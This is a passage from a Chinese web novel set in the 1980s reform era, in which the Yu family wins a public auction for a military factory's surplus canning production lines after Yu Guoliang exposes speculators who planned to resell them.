余国梁皱着眉头:“我是不太相信自己,你说咱们什么经验也没有,也就养鱼种地刚挣了点钱,还有就是这榨油坊。可养鱼种地不算难啊,咱们庄稼人,不怕吃苦的事情,榨油这个机器也不难,学几天就会了。可罐头厂不一样,那是正儿八经的厂子,再说咱们这里也不产水果……” “先干,老大,别想这么多,咱们先干!”余国栋看着余国梁,眼神坚定,“咱们包鱼塘前,也不知道鱼能不能养起来,种花生前,也不知道花生能不能种起来,开这个榨油坊前,也不知道究竟能有多少人来不是?” 余国梁还是皱着眉。 余国栋拍拍他的肩膀:“大不了就是赔钱嘛,咱们还有鱼塘,还有榨油坊呢,总能挣回来的。” 这句话是真的说到了余国梁的心坎上,之前他什么都没有,也敢咬牙包鱼塘,现在他们有这么多挣钱的路子,试一试,好像也没什么? 他搓了搓脸,点头:“行,咱们先干。” 乡里听说余国梁他们要办罐头厂,自然也是非常惊讶,同余国梁一样,大家首先想到的就是他们前进乡不产水果呀,别说他们前进乡了,就是整个县里,都没多少果树。 这个问题余国梁答不上来,只说他小妹那边应该能解决。 上次买化肥,乡里干事和余国梁一起的,不止见过柳绵绵,也听说过沈家的背景,加上老余家又是包鱼塘有是开榨油坊的,听说也是得了柳绵绵的资助,所以乡里领导对他们家的情况还是有些了解的。 如今听说柳绵绵那边能解决水果问题,倒是也并不怀疑,又听说生产线都已经在争取了,更觉得这个事情,虽然听起来不太靠谱,但实际可能还是挺靠谱的。 退一万步来讲,哪怕开起来以后效益不好,可至少尝试过不是吗? 计划经济转向市场经济,就是趟水过河,不试一试怎么知道。 于是,乡里几个领导一商量,集体举手表态,通过了余国梁的申请,甚至还初步划出了一块地,准备租给罐头厂建厂房。 也是这时候各方面规章制度都不完善,余国梁手里什么都没有,竟然愣是把一项项手续给办了下来。 而就在余国梁东奔西跑办手续的时候,南城这边,蒋红梅已经说通她妈帮忙报名购买生产线了。 钱爱真跑去厂办报了名,回来把一张纸片交给蒋红梅,不放心地又问了一遍:“到时候生产线买下来,你真给我五十块钱?” 蒋红梅把报名单折了折,塞进兜里,说:“妈,你说你叫什么钱爱真,你改名叫真爱钱不是更合适?” 说着,人已经跑出去了。 等钱爱真反应过来,举着锤衣棍子追出去的时候,蒋红梅早跑下楼了。 钱爱真趴在栏杆上怒吼:“这狗嘴里吐不出象牙的,敢说老娘爱钱,蒋红梅,你有种别回家!” 蒋红梅在楼底下抬头往上看,笑了起来:“妈,我不回来,你找谁拿钱去?” 钱爱真:“……” 她还真说不出钱不要了这种话,只好眼睁睁看着蒋红梅慢悠悠地走了。 赵大妈搬了小板凳坐在走廊上摘菜,正好看到母女俩这一出,乐道:“爱真啊,你们家红梅这么本事,你就知足吧!也不看看,过年的时候,她买了多少年货回来,平时回家也时不时地拎点东西,多孝顺的孩子哟!你们夫妻俩呀,真是享上闺女的福了哦!” 看了眼隔壁,赵大妈摇了摇头,从前大家都说柳家儿子闺女都出息,日子越过越好,可现在呢? 照她说啊,当初他们家既然把亲生的给认了回来,就该好好待人家,也不至于后面发生那么多事情。 走廊上的声音传进柳家,坐在沙发上的柳志刚和丁明霞脸色都不太好看。 别人家的闺女挣了钱给家里买这买那,他们家的闺女同样挣了钱,却是一分钱都不肯给他们花。 人家是享上闺女的福了,他们家两个闺女,一个跟男人跑去西北了,一个压根儿就没当这里是个家。 柳志刚烦躁道:“你看看,你找那个白眼狼有什么用,她一分钱不给,背后还要搞小动作。蒋家之前可没说要买生产线,现在倒是去报名了,我看就是那个白眼狼在背后搞的鬼。” 丁明霞也有些后悔,早知道柳绵绵一点不为所动,她折腾什么劲儿? 但是,之前她说要去找柳绵绵的时候,柳志刚可没反对,现在事情没办成,他倒是埋怨上了。 丁明霞阴阳怪气地回怼:“至少我一直在想办法。” 不像柳志刚就会在家里指手画脚的,什么事情都不做,倒是一堆的意见。 “而且,也不是就蒋家报了名,其他的还有好几个呢,多一个少一个的,也没多大区别。” 从君子兰的事情后,这一家子可再不是从前其乐融融的样子了,互相之间都非常不满,动辄就要吵架,吵得厉害了,还得动手。 丁明霞现在也不在乎什么名声不名声、面子不面子了,所以面对柳志刚,也不再是以前温柔小意的样子,该呛就呛。 柳志刚头疼得不行,只觉得话不投机半句多,他站起来:“反正后面的事情你少管,省得拖后腿,家里如今这处境,还不是你造成的?” 等他进了屋,丁明霞才翻了个白眼。 钱可是她求爷爷告奶奶的,东拼西凑借来的,还差了一大截,也是她找了在银行上班的老同学帮忙贷出来的。 她不仅要管,还要把柳志刚盯得牢牢的。 军工厂这边倒是也没想到,罐头生产线这种东西,厂子里竟然真有人想买。 且不说生产线价格不低,一两万块钱寻常人家不可能有,关键是大家买这生产线去干嘛呢? 严厂长都有些疑惑了,对沈文山说:“沈副厂长,说实话,之前你提议先看看内部有没有人购买时,我其实是不以为然的,觉得多此一举。倒是没想到最后是这么个情况,看来还是你对大家比较了解。不过,你说大家这么踊跃报名,是不是都看好罐头厂,这个生产线,是否我们没有经营好?” 严厂长技术出身,做事情一板一眼,规规矩矩,这种性格,在原先按部就班,照计划完成生产任务时,自然能把军工厂管理得井井有条,可市场经济环境下,要说让他想法子给军工厂开拓一条新的道路,却实在是勉强。 沈文山看他一眼,笑了笑:“严厂长,为这两条罐头生产线,咱们开了多少会,想了多少办法?巧妇难为无米之炊,没有原料,咱们也没办法。还是尽快回笼资金,做点别的吧。” 严厂长也觉得自己有些异想天开,叹了口气:“也只能这样了。” 第74章 公开竞标 严厂长原本是想着,主动找邻省的罐头厂,或者是再南边一些省市的罐头厂问问,他们是新的生产线,折价卖,肯定能卖出去的。 但是班子讨论的时候,沈文山却提出来说,现在国家鼓励搞市场经济,眼光不一定只放在国营工厂,也可以看看个体户,乡镇企业是不是有需要的。 而且,老话说上赶的不是生意,他们主动去找买家,对方肯定是要趁机压价的,还不如先在厂子内部放出消息,如果能在本地找到买家,那就再好不过了。 还有一点就是,如今厂子里效益不好,万一真有人有这个魄力,买了生产线去搞罐头厂,没准还能帮厂子解决一部分职工的生计问题呢。 严厂长内心是觉得不太可能的,再说,他们偌大一个军工厂办罐头厂都办不起来,真要谁个人买了生产线去,难道就能把罐头厂办起来了?不过他也没有直接驳了沈文山的提议。越是厂子发展遇到困难的时候,越要注意班子团结,严厂长在这方面还是很注意的,他并不是那种搞“一言堂”的一把手。 先在厂子内部,或者是先在南城本地找找买家,也不费什么事。 可仅仅是军工厂内部就有六七个人报名,这个结果是真的让严厂长感到诧异,也因此,才会发出是不是自己没有经营好的疑问。 沈文山笑道:“之前咱们还担心生产线卖不出去,现在这么多人报名,是肯定能卖出去了,咱们应该高兴才是。” 严厂长点点头,却在心里叹了口气,花了大力气弄来的生产线,只能折价卖出去,高兴个什么哟!唯一值得庆幸的是,没有一次性把采购计划的十条生产线都买了,不然损失就更大了。 沈文山从厂长办公室出来,看了眼手表,直接下楼回了家。 老爷子已经搬去了疗养院,他们一家子自然不可能再住在军区大院,直接搬到了军工厂分配的房子。 厂长级别的,都住在军工大院东南角那一排二层小楼,每户一个独立的院子,住房条件是相当不错了。 但是沈文山一家子住了那么多年的将军楼,对比起来就觉得这边的住房条件实在是太差了。 房子小,装修也旧,虽然都打着围墙,但是隔壁邻居居然还有在院子里养鸡种菜的,天气越来越热,味儿也是越来越明显。 沈文山自己还好点,好歹他也是当兵的,该吃苦的时候还是能吃苦的,何况严格来说,这也根本算不上吃苦,但是邬淑华和沈菲菲就不一样了,母女俩都觉得自己是把前头几十年、十几年没吃过的苦都给吃完了。 刚走进院子,沈文山就听见屋子里传出热闹的说笑声,进去果然看到江映雪坐在会客厅的木沙发上。 见他进来,江映雪忙站起来喊人:“沈伯伯。” 沈文山点点头,先去洗了把手,才坐到另一边的沙发上:“你是来问生产线的事吧,现在一共有七个人报名。” 他看了眼江映雪:“除了你说的那三个,另外还有四个。” 江映雪表情诧异:“还有四个?” 为了顺理成章买下生产线,她不止找了一个信得过的人,替自己出面,还另外找了两个人“抬轿子”,就是怕报名人数过少太扎眼。 不过仔细想想,江映雪倒是也反应过来了。 这世上从来都不缺聪明人,既然她能想到倒卖生产线赚钱,别人又怎么可能想不到? “那到时候?”她看向沈文山。 沈文山摇头:“几个人报名都不要紧,另外那四个,柳家就是个空壳子,剩下几家就是做个体户挣了点钱,价格高了肯定不敢要,没人能竞争得过你。” 个体户是挣钱,确实也有些人成了“万元户”,可是毕竟是少数,要不然也不至于出个“万元户”就能上报纸了,可见是稀少。 报名的几家,蒋家是做服装店的,另外两家都是做小吃的,也没听说谁家是“万元户”,估计是想趁机捡漏的。 既然厂里决定公开售卖,那自然是价高者得,到时候价格一高,那几户人家自然会知难而退。 而江映雪这边,不管到时候出的什么价格,等到竞标结束以后,沈文山自然会帮忙宽限缴费时间,让她把生产线转手之后再缴齐款项就行了。 这么一倒腾,照沈文山的估算,挣个五千块钱应该是不成问题的,跟空手套白狼也差不多了。 换了从前,沈文山是不会掺和这些事情的,别说五千块钱了,就是一万块,两万块,他也不会放在眼里。住将军楼,吃供应菜,平时家里的支出,也有老爷子贴补,根本花不了什么钱。 但现在不一样了,搬出来以后,沈文山才发现,家里那些零零碎碎的不起眼的支出,累积在一起,竟然也是个庞大的数字,更不要说想要保持跟原先差不多的生活水平,得花费多少了。 就这个家里,家具加上电器,竟然就花掉了他们夫妻俩大半的存款。 下半年菲菲如果去上大学,开支会更大,还有维鸿那边,西北条件艰苦,他们也得隔三差五地寄东西寄钱过去……他们夫妻俩的工资根本不够花。 沈文山其实一直也想不通,他妈方美云为什么就这么喜欢江映雪这孩子。 要说以前他妈把江映雪当孙媳妇儿看待也就罢了,维鸿去了西北,江映雪却选择留在南城,这分明就是不能跟维鸿同甘共苦的人,他妈却好像半点都不在意,一个电话借着一个电话地打来,让他一定要帮江映雪。 要不是知道不可能,沈文山都要怀疑,江映雪是不是给他妈灌了什么迷魂药了。 不过江映雪确实有几分生意头脑,听说去年她本来是想拿下服装厂那批瑕疵布的,可惜晚了一步,那批布料被蒋家那闺女买走了,也是靠着这批布料,蒋家那闺女才积攒资金开起了服装店。江映雪虽然没能拿下那批布料,但可见她眼光还是很准的。 那笔生意没做成,她后面又找机会做成了几笔生意,这次听说了罐头生产线的事情,更是早早寻摸好买家进行布局。 沈文山自然不会从中牟利,他在军队后勤多年,不该拿的钱是不会拿的。 只不过是顺手提携一下小辈而已,除了会在规则内给予一定的便利,他还借了一笔钱给江映雪,算是支持她的事业。当然,是要收取一定利息的。 几天后报名截止,厂办通知报名人员周五参加公开竞标。 周四傍晚,余国梁风尘仆仆赶到南城,一进门先将一个大大的塑料桶拎到了厨房。 满满一桶都是鱼塘里捞的鱼,里头还夹杂着大小不一的虾,还有一只缩头缩脑的鳖。 可把刘婶给乐坏了:“哦哟,这鱼可真肥,鱼塘里还有虾了啊,啧啧啧,还有这个,这个可是大补的。好了好了,都交给我吧,这一路过来可不容易,赶紧去坐着歇会儿。” 余国梁笑道:“我还给您带了一坛子萝卜条。” 刘婶更加喜出望外:“哦呦,我正说坛子都见快见底了,你就给我送来了,快快快,赶紧坐着去,我多做几个菜,晚上你多吃点。” 余国梁把东西都归置好,这才拿了自己的行李袋,从里面掏出一叠折得整整齐齐的资料递给柳绵绵。 柳绵绵接过来看了看,看到资料那么齐全,她都乐了:“咱们什么都没有,乡里就把这些手续都办了?”她本来预计乡里能出个实施方案什么的都不错了。 余国梁抽了抽嘴角,心说原来你也知道咱们什么都没有就找人办手续不靠谱,不过想到乡里的态度,他还是笑了起来:“咱们前进乡各方面都没有什么优势,这几年其他乡镇蹭蹭蹭地发展,就咱们乡里还是这个样子,乡里领导也着急,好不容易有个办厂的机会,他们是怎么的也要把握住的。” 这倒不是余国梁自己想明白的,而是跟他关系不错的干事背后跟他分析的。 当然,那位干事没说的是,这些手续都是乡里自己能做主的,退一万步来说,万一事情没成,也就是这些手续都作废而已,乡里其实也不损失什么,可万一成了,乡里可就多一个罐头厂了。 柳绵绵笑道:“只要乡里领导保持这种心态,何愁发展不起来?” 目前来看,前进乡或许并不具备资源或者区位优势,可谁又能说,良好的营商环境不是一种优势呢? 柳绵绵翻了翻资料:“挺好的,明天你和蒋红梅一起过去就行了。” 余国梁吓了一跳:“什么,你不去吗?”他以为他就是过来帮忙送个资料跑跑腿的。 柳绵绵一脸无辜:“这罐头厂是以你的名义批的,以后肯定也是你负责管理,争取生产线的事情,自然也是你去,责无旁贷。” 余国梁:“……” 他怎么有种上了贼船的感觉。 别说余国梁了,第二天蒋红梅发现柳绵绵不去军工厂的时候,都一下子慌了:“不是,七个人报名呢,也不知道厂里是个什么章程,你不去到时候出点什么事情,我们也不知道怎么应对啊!” 柳绵绵无所谓道:“具体的事宜我们昨晚都商量过了,放心吧,我哥知道怎么应对。再说,你们俩一个走南闯北的,还马上就要开服装厂,一个承包鱼塘山地还开了榨油坊,都是经验非常丰富的老板了,这点小事还怕应付不过来吗?” 蒋红梅完全不认同:“这怎么就是小事了?” 柳绵绵理直气壮:“这怎么不是小事了?两条生产线,满打满算也就一两万块钱,你想想四家服装店的营业额,再想想以后批发档口的营业额,对比一下,是不是就觉得两条生产线其实也没什么了?” 蒋红梅想了想,发现还真是这样。 大概是从小到大的观念使然,总觉得工厂生产线是很贵重的东西,天然的有一种敬畏的情绪。 但是如果换算成钱,一两万块钱对于这个年代的大部分人来说都是天文数字,可对于如今的蒋红梅来说,其实也不算多的。 要不是他们想要自己做批发档口,想要自己开服装厂,这些钱蒋红梅凑一凑也是拿得出来的,更别说柳绵绵了,柳绵绵挣的钱可比他们多多了。 这么一想,果然就觉得没什么好紧张的了。 真是皇帝不急太监急。 蒋红梅摆摆手:“行了,那就我和国梁大哥去一下吧。国梁大哥,你们都商量过了的哈?” 余国梁:“……商量过了。” 公开竞标就安排在军工厂行政楼二楼的一间会议室里。 余国梁跟在钱爱真和蒋红梅的后头,会议室里的人马上向他们看过来,有几个和钱爱真打了个招呼,也有人直接问:“哟,爱真嫂子,这不会是你家女婿吧?” 钱爱真无语:“我说你看人的时候也麻烦眼睛睁睁大,余同志和我们家红梅可差了十来岁了,这看着就不合适啊!” 她扬起下巴,得意道:“这是我们家的合作伙伴,要一起开罐头厂的。”闺女可说了,到时候会给罐头厂投点钱,每年给她一成分红当养老钱。 且不管这分红有多少,单说能拿分红当养老钱,她就是整个军工大院里独一份儿了。 所以今天她怎么也得把生产线争取到手。 能从钱爱真的嘴里听见“合作伙伴”这么洋气的词儿,也算是个稀罕事了,不过也有人调侃道:“嫂子,这生产线都还没影儿呢,你们就找罐头厂的合伙人了,会不会太早了?” 钱爱真自信道:“厂房地址我们都选好了,今天买了生产线,那边就动工了,哪里早?我们都是刚刚好的。” 嚯,这是志在必得啊! 这可就有人不服了:“嫂子,这还没开始呢,鹿死谁手还不知道呢!” 钱爱真:“那必须是我们呀!” 有几个人就开始起哄,倒是江映雪坐在角落里看了蒋红梅一眼,蹙了蹙眉。 这时厂里几位领导进来了,起哄的人立马噤声,钱爱真也赶紧老老实实坐好,蒋红梅和余国梁就在她旁边坐下。 卖掉厂里刚引进不久的设备也不是什么长脸的事情,厂领导也没多说什么,直接就让开始了。规则也简单,就是厂里定了个底价,大家举手竞价,价高者得。 厂办主任介绍完规则后,就说:“那大家开始吧!” 话音刚落,厂办主任就见会议室后方一个皮肤黢黑的男人突然站了起来,男人似乎有点紧张,说话声音有些发颤,但是很响亮: “开始竞价之前,我希望厂领导能明确一件事,就是你们如何确保在座的购买生产线以后是用于生产,而不是转手倒卖,钻空子挣国家的钱呢?” 第75章 生产线到手 余国梁的话一出来,现场顿时一片死寂。 如果往前推那么几年,国营工厂的设备是不可能卖给私人的,但这几年改革的浪潮席卷全国,很多事情界线就不是那么严格了。一切以经济为中心嘛,他们有设备要处理,而正好有人想买,一拍即合的事情。 但要是说到趁机钻空子挣国家的钱,这问题就严重了,涉及到国有资产流失,一不小心是要被追责被处分的。 台前的几位厂领导面面相觑,神色不一。 严厂长则是皱起眉头。 他年纪不小了,很多方面想法都比较保守,但同时,他知道自己的短处,所以也是尽量在学习新思想新知识,厂子里大家有什么新的想法,他也是尽量支持。 就像上马罐头生产线,还有在内部搞生产线竞标,这些事情最初都是下面提的建议,他慎重考虑后都同意了。 虽然罐头生产线最后失败了,但这也不是一个两个人的责任,市场经济嘛,一切都是新的,既然是尝试,失败也是在所难免的。 作为军工厂的大家长,严厂长很清楚,自己没有足够的创新能力,但他是个负责任也敢于担当的人,他给自己的定位就是,把握大方向,给勇于创新的同志们做好保驾护航。 决定卖生产线给私人的时候,严厂长倒是考虑过政策的问题,还特意找上级主管部门询问了,确定没问题才拍板的。 但是他确实没有考虑过转手倒卖的问题。 这也是因为像他这样在公家单位待了几十年的人,有着根深蒂固的思维惯性,认为购买机器设备就是为了办厂,并且是重中之重的事情,所以,私人向公家单位购买设备是正常的,而厂家向私人购买设备是不可能的。 个体户、乡镇企业再红火,他们也只能在吃饱穿暖的事情上下功夫,重工业就不是他们能涉足的。 再说,个体户从南边倒卖些衣服、电子产品过来卖是可能,可你要说个人倒卖机器设备?严厂长真是想都没想过这个问题。 可偏偏,在竞价之前,有人将这个问题提了出来。 严厂长的第一反应是不可能,但是他又很快反应过来,虽然他认为不可能,但是这件事理论上来说是具有可操作性的。 现场的气氛有些凝滞,厂办主任看了眼厂领导后,指指余国梁:“这位同志你坐下,咱们是公开竞标,目的是以合理的价格处理掉厂里闲置的生产线,我们只需要保证价格合理就行了。” 余国梁暗想,老幺真是神了,连对方说什么都猜到了。 他深呼吸了下,努力稳住情绪,说:“国家鼓励大家搞经济,先富带动后富,可不是鼓励大家投机取巧,钻各种空子不劳而获,如果真的有人趁这次机会买走生产线拿去倒卖,这明显就是与国家政策背道而驰。这是扰乱市场的行为,也会让国家蒙受损失,这不是价格合不合理的问题,这是他们有没有资格参与竞买的问题。” 现场安静了一下,有人忍不住反驳:“说得好听,那你又怎么证明你不是买了倒买倒卖的?” 有人出头,马上就有人附和:“这是厂里淘汰的设备,以合理的价格卖出,厂里及时收回资金开展别的项目才是最重要的。你不是咱们军工厂的吧,我看你才是来捣乱的。” “危言耸听,在座的都是厂里的职工或者家属,怎么会做损害厂子利益的事情?” …… 七嘴八舌的,大家都开始攻击起余国梁来。 余国梁没有遇到过这种场景,哪怕昨晚柳绵绵给他详细分析过今天要面对的情况,他有心理准备,但这时候也难免心跳加速。 蒋红梅看不下去,想要说话,余国梁在她开口之前率先开口:“我并不是质疑在座各位,我提出这个问题,也是站在南城军工厂的角度,不想厂里遭受一丝一毫的损失,想帮厂里堵上这个漏洞。” 他一口气说:“所以我的建议是,在竞价之前,每位参与竞价的同志应当向厂里承诺,成功竞价购买后,两年内不得转手生产线。一家罐头厂,从无到有,选定厂址、建设厂房、招聘员工、生产产品、销售产品再到接受市场的检验,两年应该是需要的。” 如果两年还做不起来,那厂子倒了,设备自然也要再度转手。 他这话一出来,参与竞价的几乎脸色都变了。 有人想说,军工厂买来设备可没有两年,满打满算也才一年左右,可转念一想,军工厂倒也不是经受不住市场的考验,而是根本没有原料。可你要是说,买了以后没准也会像军工厂这样,因为没有原料而无法继续生产,但估计这个黑小子就得问了,既然知道没有原料无法生产,又为什么要买生产线呢? 这可真是,乱拳打死老师傅,一下子把他们的计划都打乱了。 也有人想说,难道你就能保证自己买了生产线是真的投入生产吗,连军工厂都没有生产原料,你又是从哪里来呢? 但是这话也不能说,说了就等于自爆,承认自己也不是要办罐头厂的。 余国梁就像知道大家是怎么想的一样,他郑重其事道:“我可以表态承诺,买了设备以后会尽快投入生产。” 他从随身带着的布袋里拿出一叠资料:“这是乡里给我们美滋滋罐头厂办的各项手续,罐头厂的厂址我们也定好了,只要今天能买到设备,回去我们就立刻开始建厂房。” 在场的其他人:“………………” 一时都不知道这人真准备办罐头厂比较离谱,还是他们什么都还没有各项手续已经办妥比较离谱。 厂办主任原以为今天就是来走个过场,当个喊话的工具人,哪知道还要应付这种突发状况。 说实话,这种事情还真不是他能做主的,可余国梁说得有理有据,他要是完全不回应也不行,倒是显得他们这个竞价会真有什么猫腻似的。 猫腻是有的,厂办主任其实也听到过一些风声,就说柳志刚吧,他家的经济状况,厂里大家都是清楚的,这种情况下他报名来买设备,谁能不知道里头有问题? 只不过是大家都觉得,这设备价格不低,真要有人有这魄力和渠道,那也是活该人家挣钱。 当然,真想搞罐头厂的也有,比如张大勇他们家,他们家大闺女当年下乡之后就留在了江省底下的农村,那边是水果之乡,据说他家是想去那边办罐头厂。 心思电转间,厂办主任看向几位厂领导,然后就看到严厂长冲他招了招手,他走过去,严厂长沉声说:“一年之内不能转手。” 他们自己才搞了一年就卖掉了设备,自然没有立场要求别人两年内不转手,严厂长考虑过后,觉得余国梁所说的这个过程,至少一年是需要的。 厂办主任神色微变,不过很快镇定下来,点头说:“好的。” 能在军工厂当实权部门的领导,厂办主任自然也不简单,他很快调整状态,回到台前压了压手,笑道:“这是内部竞价会,厂里出于对职工及家属的信任,并没有把条件限定得太死,但是刚才这位同志提出的问题,也有一定的道理。” 稍微停顿后,厂办主任继续道:“我相信咱们厂里是没有那种损公肥私的人的,但是既然有人提出来,甚至给了应对的措施,咱们厂里一向是乐于接受好的建议的,所以临时决定增加一个竞价的条件:不管是谁,竞价成功后,都要签署合同,保证一年之内不会转卖生产线。” 他这话一出来,底下好几个人脸色都变了,厂领导里面,也有人脸色不太好。 “虽然是临时增加了一个条件,但是这个条件其实加不加,影响不大。” 厂办主任也不管大家的反应,快速地走流程,他看了眼已经坐下的余国梁,见对方没有什么异议,暗暗松口气,继续说:“那我们开始吧,底价八千,大家可以在此基础上出价,每次加价不少于五百。” 求知巷9号院。 柳绵绵坐在石榴树下对账,刘婶坐在她旁边摘菜,摘着摘着就忍不住问:“你说国梁今天能买到那什么生产线吗?” 柳绵绵快速在笔记本上记下一个数字,然后才说:“发挥正常的话,应该可以吧。毕竟七个报名的人里面,真正想要干实事的没几个。而且我跟他说了,价格高一点没关系,我给他的底价是一万四,这个价格,想倒卖是挣不了什么钱的。” 她既然想办罐头厂,那本来就是要去买设备的,军工厂这两条生产线可是精挑细选出来的,用的时间也不久,基本没多少折旧,哪怕价格高一点,省去中间种种环节,也是划算的。 刘婶实在是好奇:“不是说军工厂搞这个罐头厂都没搞起来吗,你怎么会想着要搞这个,咱们南城又没有水果的啰?” 柳绵绵笑了起来,说:“刘婶,你有没有吃过咸的罐头?” 刘婶皱起眉头:“罐头还有咸的?” 这就是南城军工厂一旦没了原料就要卖生产线的原因了。 柳绵绵其实早就发现了,南城这个地方,是没有咸味的罐头的,甚至水果罐头都只有两种,一种黄桃一种桔子。 芷江西餐厅有卖罐头装的午餐肉,但是既然是餐厅卖的,当然不可能拿着铁皮罐头去上菜,都是取出来再次加工过的。餐厅里南城本地的职工还曾说过,把肉加工成罐头,好奇怪的,他们这边只有腌肉、熏肉,之前从来没有见过这种加工成罐头的肉。 但实际上,这个时候的华国,出口产品中就有午餐肉罐头。 这就是地域差异了。 柳绵绵猜测,军工厂的领导们在外地出差时,不可能没见过肉罐头、鱼罐头和其他罐头,但是本里从来不卖的东西,他们也许是忘记了,也许是觉得难以打开市场,不值得冒险,所以并没有往这方面考虑。 前进乡确实不是水果主产区,但是它是县里面积最大的一个乡镇,境内多山地、山林,还拥有丰富的水资源,整个前进乡境内有非常多的罐头原料。 除了肉罐头、鱼罐头,还有咸菜、菌菇、竹笋等等都能做成罐头,甚至随着花生产量的大幅增长,他们或许还可以制作花生酱……原材料不同,配料不同,但是罐装、封罐、贴标的生产流程是一样的。 在别人看来,军工厂这两条生产线,就是食之无味弃之可惜的鸡肋,可在柳绵绵看来,这就是两个聚宝盆。 就不说别的,单单许丽腌的萝卜条,要是能量产,就能挣不少钱。 刘婶咋舌:“萝卜条做成咸菜罐头,那要卖多少钱啊,谁愿意花那么多钱买咸菜哟?” 柳绵绵就给她分析,用玻璃瓶分装萝卜条,确实成本增加了,但是萝卜条如果能量产,其实单位数量的成本是降低了的,而且还解决了萝卜条腌制时间一久口感就会改变以及保质期过短的问题。 以后他们可以供应两种萝卜条,一种是大批量的、散装的、价格稍微低一点的萝卜条,一种就是罐头瓶分装的,保质期更长、口味也更有保证的萝卜条,前者供应菜市场,后者供应百货大楼和供销社,甚至还可以销到外地去。 刘婶听得一愣一愣的:“咱们的萝卜条还能卖到外地去?” 柳绵绵笑道:“当然能啊,冲出南城,走向世界!” “哦哟,还走向世界,能在南城百货大楼和供销社卖卖,你妈妈都要高兴死了哦!”刘婶说,“那照你这么说,这个什么生产线咱们还是要买来的啰,早点买来嘛早点生产。” 正说着呢,院门被砰砰砰地咋响了。 刘婶一下子就站了起来:“哦哟,是不是他们回来啦?”她小跑着去开门。 门刚一打开,柳绵绵就听见蒋红梅的声音:“买下了,买下了,你们不知道,国梁大哥有多厉害,对着厂里的领导,说起来一套一套的,把领导们都问傻了,哈哈哈,后面竞价的时候也是,人家是五百五百的加,他干脆就一加就一千,人家一下子就怂了。” 蒋红梅语速很快地介绍,余国梁在旁边不好意思地说:“你这说的我都脸红,那哪里是我厉害,都是绵绵事先教我的。” “那也得你能稳得住说得出来啊!” “厉害厉害,你们俩都厉害,我们这刚说这什么生产线一定得买来呢,你们就买下来了,都厉害。”刘婶好奇问,“那生产线得多少钱啊?” 蒋红梅笑呵呵看向余国梁:“你买下来的,你说。” 余国梁也是一脸兴奋,看向柳绵绵:“一万二。” 柳绵绵挑了下眉,这可比她的底价要便宜不少,不过也是比较合理的价格了。 蒋红梅描述了下当时的情况,乐得不行:“你是不知道,一听说至少一年内不得转手,那些人脸色都难看得不行,真是一个个的,都打着空手套白狼的主意呢。有的干脆就没出过价,生怕真砸在自己手上了。” 生产线到手,余国梁吃完饭就匆匆赶回前进乡去了,得赶紧跟乡里汇报,然后找人建厂房。 而同一时间军工大院里,却是有人正在痛骂余国梁。 “真是显得他们了,还两年内不得转卖,他们真是得感谢严厂长缩短了时间,不然两年时间,亏死他们。” “罐头厂哪里是那么好做的,真那么好做,咱们军工厂怎么没做起来?真是不知天高地厚,放心吧,你们等着看,过两个月厂房建起来他们就知道厉害了。” “钱爱真还显摆说闺女准备把罐头厂的分红给她养老,你们说好不好笑,这罐头厂影儿都还没一个呢,他们竟然就想着分红了,我看分红不一定,一起欠债倒是有可能。” …… 这些都是参与竞价的职工家属。 柳志刚走在这些人后面,紧紧地皱着眉头。他今天是亲自去了会场的,只不过他这个身份总不好抻头,所以从始至终都没说一句话。 他和前面的人一样,对半路杀出来的余国梁深恶痛绝,但是现在有一件更紧迫的事情需要处理。 他怕竞价结束就要付钱,所以早早就跟银行贷了一笔钱,现在竞价没成功,他得赶紧把钱还上,不然每天都会有新增的利息。 相比柳志刚只是损失了一些利息,江映雪的损失更大。 她找人报名,还有打听买家都是花了钱的。虽然设备没搞到手,但花出去的钱也是拿不回来的。 这些都是当初就约定好的,她等于竹篮打水一场空。 江映雪离开军工厂后,就去给疗养院的方美云打了电话。 听说她没有竞价成功,方美云非常吃惊,脱口而出:“这怎么可能,你是女……我是说,你都这么努力了。” 方美云柔声安慰了江映雪一番,让她不要因为一时的挫折就消沉,这些事情都只是她通向成功的小波折而已,越是面对挫折越要镇定。 江映雪从方美云这里听到了一车的好话,等到挂电话的时候,她的心情已经好了许多。 这些年,方美云经常鼓励她,让她对自己产生了更多信心,有时候她甚至觉得,方美云似乎比她自己更相信她能做出成绩。 有这样一位时时关照鼓励她的长辈,江映雪觉得自己真是太幸运了。 江映雪不知道的是,电话那头的方美云,挂掉电话后,脸上的笑意就消失得一干二净了。 第76章 余家真成大老板了 前进乡的领导们也是没想到,余国梁还真的弄到了生产线,这速度快得真是让人猝不及防。本来还以为会有一段时间缓冲和准备,当然,黄了也不是没可能,哪里想到设备分分钟就要到位了。 乡里自然也不能拖后腿,加班加点把后续的一些手续办了,让余国梁可以马上张罗建厂房。为了表示支持,乡里还让砖窑厂给打了个折扣。 余国梁其实也还是懵的,从柳绵绵打电话给他,到竞价成功,满打满算也就几天工夫,之前他是一直在紧赶慢赶地办事,如今回到前进乡,眼睁睁看着划定的厂区围起了围墙,才总算有了点真实感,同时又有一种“居然真的办成了”的不可思议感。 不过,更震惊的还是留下村的人。 余家承包鱼塘和山地的时候,有的村民还觉得余国梁是想挣钱想疯了,等到竹篮打水一场空的时候就知道厉害了。 后面鱼塘和山地收获都不错,有的村民眼红之余就觉得不就是养鱼和种地嘛,自家也就是胆子不够大,不然自家去承包也是能挣钱的。 再后面榨油坊开张,那些羡慕嫉妒的人,就觉得自己就是没有渠道和钱买榨油设备,不然这东西操作那么简单,谁还不会了? 可现在,余家要在乡里开罐头厂了,原来背后说闲话的人再也没词儿了。 这还能说什么,说要不是我家没钱买设备,我家也能开起来? 那可是罐头厂,可不是什么小作坊,那是能招人进去上班的工厂,余家是真的成大老板了啊! 不止这些羡慕嫉妒说闲话的人,就是其他村民都是难以置信,这才多久啊,一年时间都没有吧,余家竟然都已经开上厂子了?! 也有脑子灵光的,很快就想到,既然是开厂子,那以后就是要招工的,哪怕不是国营工厂,但只要能做工人,收入怎么也比在家种地强呀,于是就拎着东西默默上门问招工名额了。 有人频繁上门,自然就有人看见,消息一传,上门的人就更多了。 每天不断的有人上门,对着余永诚和许丽夫妻俩夸了又夸,说他们会养孩子,还说他们运气好有福气,可以说,老两口这阵子听的“甜言蜜语”比前面几十年加起来还要多。 不止老两口,余家其他人,就连两个小不点,余欢欢和余岁岁,都成为被“攻略”的对象,出门转一圈,兜里就能被塞满糖果。 其实余家人自己也是懵的。 年前鱼和花生都大丰收,后面开了榨油坊,也是生意火爆,家里一下子就有钱了,春节的时候买的年货能有往年几倍多。 那时候大家就觉得这日子可真是太美了,再没有比这日子更美的了。 他们老余家这都成十里八乡顶富裕的人家了。 结果呢,他们家居然要开罐头厂了! 